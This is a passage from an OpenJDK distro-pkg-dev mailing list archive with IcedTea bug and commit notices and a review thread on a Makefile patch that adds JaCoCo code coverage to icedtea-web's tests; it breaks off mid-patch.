Reporter: amontzamir at gmail.com CC: unassigned at icedtea.classpath.org Created attachment 807 --> http://icedtea.classpath.org/bugzilla/attachment.cgi?id=807&action=edit Log bug Crash java... -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121210/a264c19f/attachment.html From ptisnovs at icedtea.classpath.org Tue Dec 11 00:23:00 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Tue, 11 Dec 2012 08:23:00 +0000 Subject: /hg/gfx-test: Added nine helper methods used by tests into src/o... Message-ID: changeset 5840ab9aebf2 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=5840ab9aebf2 author: Pavel Tisnovsky date: Tue Dec 11 09:26:03 2012 +0100 Added nine helper methods used by tests into src/org/gfxtest/testsuites/PrintTestBitBltUsingBgColor.java. diffstat: ChangeLog | 5 + src/org/gfxtest/testsuites/PrintTestBitBltUsingBgColor.java | 157 +++++++++++- 2 files changed, 161 insertions(+), 1 deletions(-) diffs (186 lines): diff -r 72295736d85d -r 5840ab9aebf2 ChangeLog --- a/ChangeLog Mon Dec 10 10:27:25 2012 +0100 +++ b/ChangeLog Tue Dec 11 09:26:03 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-11 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/PrintTestBitBltUsingBgColor.java: + Added nine helper methods used by tests. + 2012-12-10 Pavel Tisnovsky * src/org/gfxtest/testsuites/BitBltUsingBgColorAlpha.java: diff -r 72295736d85d -r 5840ab9aebf2 src/org/gfxtest/testsuites/PrintTestBitBltUsingBgColor.java --- a/src/org/gfxtest/testsuites/PrintTestBitBltUsingBgColor.java Mon Dec 10 10:27:25 2012 +0100 +++ b/src/org/gfxtest/testsuites/PrintTestBitBltUsingBgColor.java Tue Dec 11 09:26:03 2012 +0100 @@ -66,7 +66,9 @@ /** * This test check the rendering of buffered images (so called bit block - * transfers or Bit Blt) created by various constructors. + * transfers or Bit Blt) created by various constructors. Such images are + * rendered with explicitly set background color which should affect + * transparent or semi-transparent images. * * @author Pavel Tisnovsky */ @@ -131,6 +133,159 @@ } /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_ARGB + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeIntARGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_ARGB_PRE + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeIntARGBPre(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_INT_ARGB_PRE, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeIntBGR(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_INT_BGR, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_RGB + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeIntRGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_INT_RGB, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_BYTE_BINARY + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeByteBinary(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_BYTE_BINARY, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_BYTE_GRAY + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeByteGray(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_BYTE_GRAY, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_555_RGB + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeUshort555RGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_USHORT_555_RGB, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_565_RGB + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeUshort565RGB(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_USHORT_565_RGB, backgroundColor); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_USHORT_GRAY + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @param backgroundColor + * background color + * @return test result status - PASSED, FAILED or ERROR + */ + private TestResult doBitBltEmptyBufferedImageTypeUshortGRAY(TestImage image, Graphics2D graphics2d, + Color backgroundColor) + { + return CommonBitmapOperations.doBitBltTestWithEmptyImage(image, graphics2d, BufferedImage.TYPE_USHORT_GRAY, backgroundColor); + } + + /** * Test basic BitBlt operation for empty buffered image with type TYPE_3BYTE_BGR. * Background color is set to Color.black. * From ptisnovs at icedtea.classpath.org Tue Dec 11 00:29:45 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Tue, 11 Dec 2012 08:29:45 +0000 Subject: /hg/rhino-tests: Added new test into the test case src/org/Rhino... Message-ID: changeset 971cae449335 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=971cae449335 author: Pavel Tisnovsky date: Tue Dec 11 09:32:49 2012 +0100 Added new test into the test case src/org/RhinoTests/CompilableClassTest.java: getField() diffstat: ChangeLog | 6 ++++++ src/org/RhinoTests/CompilableClassTest.java | 22 ++++++++++++++++++++++ 2 files changed, 28 insertions(+), 0 deletions(-) diffs (45 lines): diff -r 2c37c25280fa -r 971cae449335 ChangeLog --- a/ChangeLog Mon Dec 10 10:38:24 2012 +0100 +++ b/ChangeLog Tue Dec 11 09:32:49 2012 +0100 @@ -1,3 +1,9 @@ +2012-12-11 Pavel Tisnovsky + + * src/org/RhinoTests/CompilableClassTest.java: + Added new test into this test case: + - getField() + 2012-12-10 Pavel Tisnovsky * src/org/RhinoTests/BindingsClassTest.java: diff -r 2c37c25280fa -r 971cae449335 src/org/RhinoTests/CompilableClassTest.java --- a/src/org/RhinoTests/CompilableClassTest.java Mon Dec 10 10:38:24 2012 +0100 +++ b/src/org/RhinoTests/CompilableClassTest.java Tue Dec 11 09:32:49 2012 +0100 @@ -356,6 +356,28 @@ } /** + * Test for method javax.script.Compilable.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.compilableClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.Compilable.getClass().getMethods() */ protected void testGetMethods() { From bugzilla-daemon at icedtea.classpath.org Tue Dec 11 01:25:18 2012 From: bugzilla-daemon at icedtea.classpath.org (bugzilla-daemon at icedtea.classpath.org) Date: Tue, 11 Dec 2012 09:25:18 +0000 Subject: [Bug 1238] Java fatal error - Linux In-Reply-To: References: Message-ID: http://icedtea.classpath.org/bugzilla/show_bug.cgi?id=1238 Andrew Haley changed: What |Removed |Added ---------------------------------------------------------------------------- CC| |aph at redhat.com Hardware|x86 |x86_64 Version|unspecified |6-1.8.13 --- Comment #1 from Andrew Haley --- This version of IcedTea is no longer supported. Please upgrade to a newer version. -- You are receiving this mail because: You are on the CC list for the bug. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121211/d11359a5/attachment.html From jvanek at redhat.com Tue Dec 11 09:04:31 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Tue, 11 Dec 2012 18:04:31 +0100 Subject: [fyi] [icedtea-web] new code coverage direction - jacoco In-Reply-To: <50C61E4D.6030606@redhat.com> References: <50B4FA0C.5030502@redhat.com> <50B64717.1040705@redhat.com> <50B71F68.10203@redhat.com> <50BF6C77.4010507@redhat.com> <50C0740E.4040305@redhat.com> <50C61E4D.6030606@redhat.com> Message-ID: <50C7679F.9060608@redhat.com> On 12/10/2012 06:39 PM, Adam Domurad wrote: > On 12/06/2012 05:31 AM, Jiri Vanek wrote: >> On 12/05/2012 04:47 PM, Jiri Vanek wrote: >>> On 11/29/2012 09:40 AM, Jiri Vanek wrote: >>>> On 11/28/2012 06:17 PM, Jiri Vanek wrote: >>>>> On 11/27/2012 06:36 PM, Jiri Vanek wrote: >>>>>> hi all! >>>>>> >>>>>> Last few days I was hidding behind new codecoverage for icedtea-web. It have appeared to be more >>>>>> tricky then I thought: >>>>>> >>>>>> * Support for jdk7 on field of coverage tool is desperate - the only tool which support it and is >>>>>> alive (actually I really think it is the only one right now) is JACOCO. >>>>>> * jacoco packages in fedora are broken - I have fixed them and post patch to its maintainer >>>>>> * jacoco itself do not support coverage of boot-classapth, I have fixed this too, and I hope I >>>>>> will >>>>>> be able to upstream this patch - quite simple patch but it will need some more tuning >>>>>> (xboot.patch) >>>>>> [as I do not see to alll corners of this amazing tool] >>>>>> * jacoco although having excellent API, have no commandline tool for report generation and for >>>>>> merging of results. I have wrote my own (simple one, jacoco-tool.diff) and I hope I will be >>>>>> able to >>>>>> upstream it to rather then fill icedtea-web with it. >>>>>> >>>>>> So do not use this patch for now - it uses custom packages upon custom sources with custom >>>>>> dependences (Asm4 instead of asm3) :), but if all the fixes will go upstream then the results are >>>>>> amazing! >>>>>> >>>>>> The integration of patched package with patched sources is then quite simple and same as emma >>>>>> was. >>>>>> Coverage of unit tests, coverage of individual reproducers run, then merged all reproducers >>>>>> together >>>>>> and at the end merged all reproducers and unit test's results. >>>>>> On each sub-step xml and html report is generated. >>>>>> >>>>>> Good new is that it will be easy to cover also plugin [work in progress] >>>>>> >>>>>> Best regards >>>>>> J. >>>>>> >>>>>> >>>>>> ps: with litlle bit more tweaking on xbooth.patch I was able to create coverage report for most >>>>>> rt.jar itself on openjdk build:) >>>>>> >>>>> hmm.. sun.reflect.* must be excluded on jdk7 too... >>>>> >>>> >>>> Here is the example of yesterdays run: >>>> http://10.34.2.200/icedtea-web-dailyreport/jacocoPreview/ >>>> >>>> not bad comapring to latrest emma run: >>>> http://10.34.2.200/icedtea-web-dailyreport/ICWDR_1343375169/tests.build/coverage/index.html >>>> >>>> :) >>> >>> Here is final version of my patch. Althoug my suggested changes are moving forward, untill it reach >>> packages can take an ages, so would like to push it if there will be good soul to review it. I will >>> attach the results of latest unit+javaws+plugin tests. >>> >>> I will track the jacoco changes and modify this patch how needed. >>> >>> >>> J. >>> >> Here is updated promissedexample - http://10.34.2.200/icedtea-web-dailyreport/jacocoPreview/ . >> Worthy to walk through! >> Due to recent Saad's patch the plugin patch will need to be updated, but the logic will remains same. >> >> J. > > Great stuff! :) The advances in QA for icedtea-web are really great. Navigating it was quite I'm happy you have enjoyed walking through :) > interesting. I assume this is line-coverage only at the moment ? No - see the report, it is line coverage, instruction coverage, branch coverage, methods coverage and class coverage... > > How does this compare to Emma ? Is it just it's successor ? Will you remove the emma coverage ? All jdk6 coverage tools (especially those with marking finished jars/classes - emma, cobertura...) are *DEAD* for JDK7. InvikeDynamic killed them all (so not just shark :). The only opinion for future right now IS jacoco. All the cobertura and emma developers escaped into here. Jacoco is packed since f17. Emma ii here for f16 and older and for rhel6. => It will be here until jdk6 is supported by us. == loong :) (this reminds me to runn emma on rhel 6 once more...) > > So I take it that this patch relies on a few components that are not yet upstream ? What is the > current effect of the patch ? Luckily, my packaging patch was already pushed to testing and looks good- https://admin.fedoraproject.org/updates/FEDORA-2012-20019/jacoco-0.5.9-3.fc17 (and one for f18 and rawhide). There rise (past tense:) small complication - in f17 jacoco will remain compatible with asm3, in 18+ with asm4. (see the change in configure.ac) So now, with this updated jacoco installed, asm3 as default (on f17 and asm4 on f18+) and my patch in, you will run successfully unittest coverage. My patch for upstream to allow coverage of bootclassapth is still in progress of upstreaming so to run reproducers coverage you must have your custom jacoco build:( Report generation tool will be in icedtea-web repository untill it is upstreamed. so there is no harm by this not being upstreamed yet. One more hint - asm3 is causing that report is not generated. So you need custom asm4 jacoco anyway.... I will discuse with jacoco maintainer this issue one more times. > >> diff -r aff6fb36a9ab Makefile.am >> --- a/Makefile.am Mon Dec 03 18:08:38 2012 +0100 >> +++ b/Makefile.am Wed Dec 05 16:40:30 2012 +0100 >> @@ -20,6 +20,8 @@ >> export JUNIT_RUNNER_DIR=$(TESTS_DIR)/junit-runner >> export JUNIT_RUNNER_SRCDIR=$(TESTS_SRCDIR)/junit-runner >> >> +export JACOCO_OPERATOR_DIR=$(TESTS_DIR)/jacoco-operator >> +export JACOCO_OPERATOR_SRCDIR=$(TESTS_SRCDIR)/jacoco-operator >> >> export TEST_EXTENSIONS_SRCDIR=$(TESTS_SRCDIR)/test-extensions >> export TEST_EXTENSIONS_TESTS_SRCDIR=$(TESTS_SRCDIR)/test-extensions-tests >> @@ -56,6 +58,22 @@ >> export ALL_NONCUSTOM_REPRODUCERS=$(SIMPLE_REPRODUCERS) $(SIGNED_REPRODUCERS) >> export ALL_REPRODUCERS=$(ALL_NONCUSTOM_REPRODUCERS) $(CUSTOM_REPRODUCERS) >> >> +export JACOCO_PATH:=$(shell dirname "$(JACOCO_JAR)") >> +export JACOCO_AGENT=org.jacoco.agent.jar >> +export JACOCO_ANT=org.jacoco.ant.jar >> +export JACOCO_REPORT=org.jacoco.report.jar >> +export JACOCO_AGENTRT=org.jacoco.agent.rt.jar >> +export JACOCO_CORE=org.jacoco.core.jar >> +export JACOCO_JAVAWS_RESULTS=$(TEST_EXTENSIONS_DIR)/jacoco_javaws.exec >> +export JACOCO_PLUGIN_RESULTS=$(TEST_EXTENSIONS_DIR)/jacoco_plugin.exec >> +export JACOCO_CLASSPATH=$(JACOCO_PATH)/$(JACOCO_CORE):$(JACOCO_PATH)/$(JACOCO_AGENT):$(JACOCO_PATH)/$(JACOCO_REPORT):$(JACOCO_PATH)/$(JACOCO_AGENTRT):$(JACOCO_PATH)/$(JACOCO_ANT):$(ASM4_JAR) >> +export JACOCO_AGENT_SWITCH_BODY=-javaagent:$(JACOCO_PATH)/$(JACOCO_AGENTRT) >> +export JACOCO_BASE_EXCLUDE=org.junit.*:junit.* >> +export JACOCO_ADVANCED_EXCLUDE=:*jacoco*:java.lang.*:java.reflect.*:java.util.*:sun.reflect.* >> +export JACOCO_AGENT_SWITCH="$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)" >> +export JACOCO_AGENT_JAVAWS_SWITCH=\"$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)$(JACOCO_ADVANCED_EXCLUDE),xboot=true,destfile=$(JACOCO_JAVAWS_RESULTS)\" >> +export JACOCO_AGENT_PLUGIN_SWITCH=\"$(JACOCO_AGENT_SWITCH_BODY)=excludes=$(JACOCO_BASE_EXCLUDE)$(JACOCO_ADVANCED_EXCLUDE),xboot=true,destfile=$(JACOCO_PLUGIN_RESULTS)\" >> +export JACOCO_OPERATOR_EXEC=$(BOOT_DIR)/bin/java $(EMMA_JAVA_ARGS) -cp $(JACOCO_OPERATOR_DIR):$(JACOCO_CLASSPATH):. org.jacoco.operator.Main >> >> # linking variables >> export PLUGIN_LINK_NAME=libjavaplugin.so >> @@ -103,6 +121,7 @@ >> # >> export LAUNCHER_BOOTCLASSPATH="-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar$(RHINO_RUNTIME)" >> export PLUGIN_BOOTCLASSPATH='"-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar:$(datadir)/$(PACKAGE_NAME)/plugin.jar$(RHINO_RUNTIME)"' >> +export PLUGIN_COVERAGE_BOOTCLASSPATH='"-Xbootclasspath/a:$(datadir)/$(PACKAGE_NAME)/netx.jar:$(datadir)/$(PACKAGE_NAME)/plugin.jar$(RHINO_RUNTIME):$(JACOCO_CLASSPATH)"' >> >> # Fake update version to work with the Deployment Toolkit script used by Oracle >> #http://download.oracle.com/javase/tutorial/deployment/deploymentInDepth/depltoolkit_index.html >> @@ -128,6 +147,9 @@ >> export LIVECONNECT_SRCS = $(PLUGIN_SRCDIR)/java >> export ICEDTEAPLUGIN_TARGET = $(PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) stamps/liveconnect-dist.stamp >> export PLUGIN_PKGS = sun.applet netscape.security netscape.javascript >> +#those are for plugin testcoverage >> +export FAKE_PLUGIN_SRCDIR=$(TESTS_DIR)/icedteanp-srcs >> +export FAKE_PLUGIN_DIR=$(TESTS_DIR)/icedteanp-build > > FAKE_PLUGIN is confusing, it sounds to me a bit like a 'phony target'. Maybe INSTRUMENTED_PLUGIN... > (or something less verbose if you choose) become COVERABLE_PLUGIN > >> endif >> >> if CP_SUPPORTS_REFLINK >> @@ -588,6 +610,9 @@ >> junit-runner-source-files.txt: >> find $(JUNIT_RUNNER_SRCDIR) -name '*.java' | sort > $@ >> >> +jacoco-operator-source-files.txt: >> + find $(JACOCO_OPERATOR_SRCDIR) -name '*.java' | sort > $@ >> + >> $(JUNIT_RUNNER_JAR): junit-runner-source-files.txt stamps/test-extensions-compile.stamp >> mkdir -p $(JUNIT_RUNNER_DIR) && \ >> $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ >> @@ -825,8 +850,8 @@ >> $(BOOT_DIR)/bin/java $(REPRODUCERS_DPARAMETERS) \ >> -Xbootclasspath:$(RUNTIME) CommandLine $$class_names >> if WITH_XSLTPROC >> - $(XSLTPROC) --stringparam logs logs_reproducers.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(TEST_EXTENSIONS_DIR)/tests-output.xml > $(TESTS_DIR)/index_reproducers.html >> - $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(TEST_EXTENSIONS_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_reproducers.html >> + -$(XSLTPROC) --stringparam logs logs_reproducers.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(TEST_EXTENSIONS_DIR)/tests-output.xml > $(TESTS_DIR)/index_reproducers.html >> + -$(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(TEST_EXTENSIONS_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_reproducers.html >> endif >> touch $@ >> >> @@ -1002,8 +1027,8 @@ >> CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):. \ >> $(BOOT_DIR)/bin/java -Xbootclasspath:$(RUNTIME) CommandLine $$class_names >> if WITH_XSLTPROC >> - $(XSLTPROC) --stringparam logs logs_unit.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html >> - $(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_unit.html >> + -$(XSLTPROC) --stringparam logs logs_unit.html $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/jreport.xsl $(NETX_UNIT_TEST_DIR)/tests-output.xml > $(TESTS_DIR)/index_unit.html >> + -$(XSLTPROC) $(TESTS_SRCDIR)/$(REPORT_STYLES_DIRNAME)/logs.xsl $(NETX_UNIT_TEST_DIR)/ServerAccess-logs.xml > $(TESTS_DIR)/logs_unit.html >> endif >> mkdir -p stamps && \ >> touch $@ >> @@ -1049,6 +1074,53 @@ >> endif >> touch $@ >> >> +stamps/compile-jacoco-operator.stamp: jacoco-operator-source-files.txt >> +if WITH_JACOCO >> + mkdir -p $(JACOCO_OPERATOR_DIR) && \ >> + $(BOOT_DIR)/bin/javac $(IT_JAVACFLAGS) \ >> + -d $(JACOCO_OPERATOR_DIR) \ >> + -classpath $(JACOCO_CLASSPATH) \ >> + @jacoco-operator-source-files.txt ; >> +else >> + echo "Sorry, jacoco coverage report generator cant be compiled without jacoco installed. Try install jacoco or specify with-jacoco value" ; >> > > Do you mean 'Try installing jacoco' ? It sounds like you're suggesting a command :) fixed! > > >> + exit 5 >> +endif >> + touch $@ >> + >> + >> +#warning, during this target tests.build/netx/unit/tests-output.xml is backup and rewriten (but not coresponding html file) >> +#xml results run with jacoco agent however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored >> +stamps/run-unit-test-code-coverage-jacoco.stamp: stamps/netx-unit-tests-compile.stamp $(JUNIT_RUNNER_JAR) \ >> + $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME) $(UNIT_CLASS_NAMES) stamps/compile-jacoco-operator.stamp >> +if WITH_JACOCO >> + filename=" " ; \ >> + cd $(NETX_UNIT_TEST_SRCDIR) ; \ >> + for file in `find . -type f \! -iname "*.java"`; do\ >> + filename=`echo $$file `; \ >> + cp --parents $$filename $(NETX_UNIT_TEST_DIR) ; \ >> + done ; \ >> + cd $(NETX_UNIT_TEST_DIR) ; \ >> + for file in $(EMMA_MODIFIED_FILES) ; do \ >> + mv $(NETX_UNIT_TEST_DIR)/$$file $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" ; \ >> + done ;\ >> + class_names=`cat $(UNIT_CLASS_NAMES)` ; \ >> + CLASSPATH=$(NETX_DIR)/lib/classes.jar:$(JUNIT_JAR):$(JUNIT_RUNNER_JAR):$(TEST_EXTENSIONS_DIR):$(JACOCO_CLASSPATH):. \ >> + $(BOOT_DIR)/bin/java $(JACOCO_AGENT_SWITCH) -Xbootclasspath:$(RUNTIME) CommandLine $$class_names ; \ >> + for file in $(EMMA_MODIFIED_FILES) ; do \ >> + mv $(NETX_UNIT_TEST_DIR)/$$file $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_SUFFIX)" ; \ >> + mv $(NETX_UNIT_TEST_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" $(NETX_UNIT_TEST_DIR)/$$file ; \ >> + done ; \ >> + $(JACOCO_OPERATOR_EXEC) \ >> + report --die-soon --html-output coverage --xml-output coverage.xml --input-file jacoco.exec \ >> + --input-srcs $(NETX_SRCDIR) $(PLUGIN_SRCDIR)/java $(NETX_UNIT_TEST_SRCDIR) $(JUNIT_RUNNER_SRCDIR) $(TEST_EXTENSIONS_SRCDIR) \ >> + --input-builds $(NETX_DIR)/lib/classes.jar $(abs_top_builddir)/liveconnect/lib/classes.jar $(NETX_UNIT_TEST_DIR) $(JUNIT_RUNNER_JAR) $(TEST_EXTENSIONS_DIR) \ >> + --title "IcedTea-Web unit-tests codecoverage" ; >> +else >> + echo "Sorry, coverage report cant be run without jacoco installed. Try install jacoco or specify with-jacoco value" ; > > See above > >> + exit 5 >> +endif >> + touch $@ >> + >> #warning, during this target tests.build/netx/jnlp_testsengine/tests-output.xml is backup and rewriten (but not coresponding html file) >> #xml results run from emma sandbox, however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored >> stamps/run-reproducers-test-code-coverage.stamp: stamps/run-netx-dist-tests.stamp $(REPRODUCERS_CLASS_NAMES) >> @@ -1139,7 +1211,152 @@ >> endif >> touch $@ >> >> -run-test-code-coverage: run-unit-test-code-coverage run-reproducers-test-code-coverage >> +$(FAKE_PLUGIN_SRCDIR): >> + mkdir -p $(FAKE_PLUGIN_SRCDIR) ; \ >> + cp -r $(PLUGIN_SRCDIR)/* $(FAKE_PLUGIN_SRCDIR) ; \ >> + cd $(FAKE_PLUGIN_SRCDIR) ; \ >> + rm *.o ; \ >> + rm *.so ; \ >> + rm -rf java ; \ >> + patch -p0 < $(TESTS_SRCDIR)/plugin_fakeing.patch ; \ >> + mkdir -p $(FAKE_PLUGIN_DIR); > > I don't know if I like this approach, a patch is pretty brittle and easy to break by accident (it > already happened). See my comments below near the patch file for suggestions of alternatives (which > doesn't involve copying and patching source). Sure. With list this is getting much more simple. > >> + >> +$(FAKE_PLUGIN_DIR)/%.o: $(FAKE_PLUGIN_SRCDIR)/%.cc >> + cd $(FAKE_PLUGIN_DIR) && \ >> + $(CXX) $(CXXFLAGS) \ >> + $(DEFS) $(VERSION_DEFS) \ >> + -DJDK_UPDATE_VERSION="\"$(JDK_UPDATE_VERSION)\"" \ >> + -DPLUGIN_NAME="\"IcedTea-Web Faked Plugin\"" \ > > 'IcedTea-Web Plugin with Jacoco' will be clearer if anyone happens to see this message. > >> + -DPLUGIN_VERSION="\"$(PLUGIN_VERSION)\"" \ >> + -DPACKAGE_URL="\"$(PACKAGE_URL)\"" \ >> + -DMOZILLA_VERSION_COLLAPSED="$(MOZILLA_VERSION_COLLAPSED)" \ >> + -DICEDTEA_WEB_JRE="\"$(SYSTEM_JRE_DIR)\"" \ >> + -DPLUGIN_BOOTCLASSPATH=$(PLUGIN_COVERAGE_BOOTCLASSPATH) \ >> + -DCOVERAGE_AGENT=$(JACOCO_AGENT_PLUGIN_SWITCH) \ >> + $(GLIB_CFLAGS) \ >> + $(GTK_CFLAGS) \ >> + $(MOZILLA_CFLAGS) \ >> + -fvisibility=hidden \ >> + -fPIC -o $@ -c $< >> + >> +$(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY): $(addprefix $(FAKE_PLUGIN_DIR)/,$(PLUGIN_OBJECTS)) >> + cd $(FAKE_PLUGIN_DIR) && \ >> + $(CXX) $(CXXFLAGS) \ >> + $(PLUGIN_OBJECTS) \ >> + $(GLIB_LIBS) \ >> + $(GTK_LIBS) \ >> + $(MOZILLA_LIBS) \ >> + -shared -o $@ >> + >> +stamps/build-fake-plugin.stamp: $(FAKE_PLUGIN_SRCDIR) $(addprefix $(FAKE_PLUGIN_SRCDIR)/,$(PLUGIN_SRC)) $(addprefix $(FAKE_PLUGIN_DIR)/,$(PLUGIN_OBJECTS)) stamps/liveconnect-dist.stamp $(FAKE_PLUGIN_DIR)/$(BUILT_PLUGIN_LIBRARY) >> + touch $@ >> + >> +#warning, during this target tests.build/netx/jnlp_testsengine/tests-output.xml is backup and rewriten (but not coresponding html file) >> +#xml results run with jacoco agent, however, can be wrong, co the new tests-output.xml is then renamed and orginal one restored >> +stamps/run-reproducers-test-code-coverage-jacoco.stamp: stamps/run-netx-dist-tests.stamp $(REPRODUCERS_CLASS_NAMES) \ >> +stamps/compile-jacoco-operator.stamp stamps/build-fake-plugin.stamp >> +if WITH_JACOCO >> + cd $(TESTS_DIR) ; \ >> + for file in $(EMMA_MODIFIED_FILES) ; do \ >> + mv $(TEST_EXTENSIONS_DIR)/$$file $(TEST_EXTENSIONS_DIR)/"$$file""$(EMMA_BACKUP_SUFFIX)" ; \ >> + done ;\ >> + echo "backuping javaws in $(DESTDIR)$(bindir)" ; \ >> + javaws_backup=$(DESTDIR)$(bindir)/javaws_backup ; \ >> + mv $(DESTDIR)$(bindir)/javaws $$javaws_backup ; \ >> + echo "patching $(javaws)" ; \ >> + nw_bootclasspath="$(LAUNCHER_BOOTCLASSPATH):$(JACOCO_CLASSPATH)" ; \ >> + cat $$javaws_backup | sed "s|COMMAND.k.=\"..JAVA.\"|COMMAND[k]=\"\\$$\\{JAVA\\}\" ; k=1 ; COMMAND[k]=$(JACOCO_AGENT_JAVAWS_SWITCH)|" | sed "s,$(LAUNCHER_BOOTCLASSPATH),$$nw_bootclasspath," > $(DESTDIR)$(bindir)/$(javaws) ; \ >> + chmod 777 $(DESTDIR)$(bindir)/$(javaws) ; \ >> + echo "backuping plugin in $(DESTDIR)/$(libdir)$(BUILT_PLUGIN_LIBRARY)" ; \ >> + 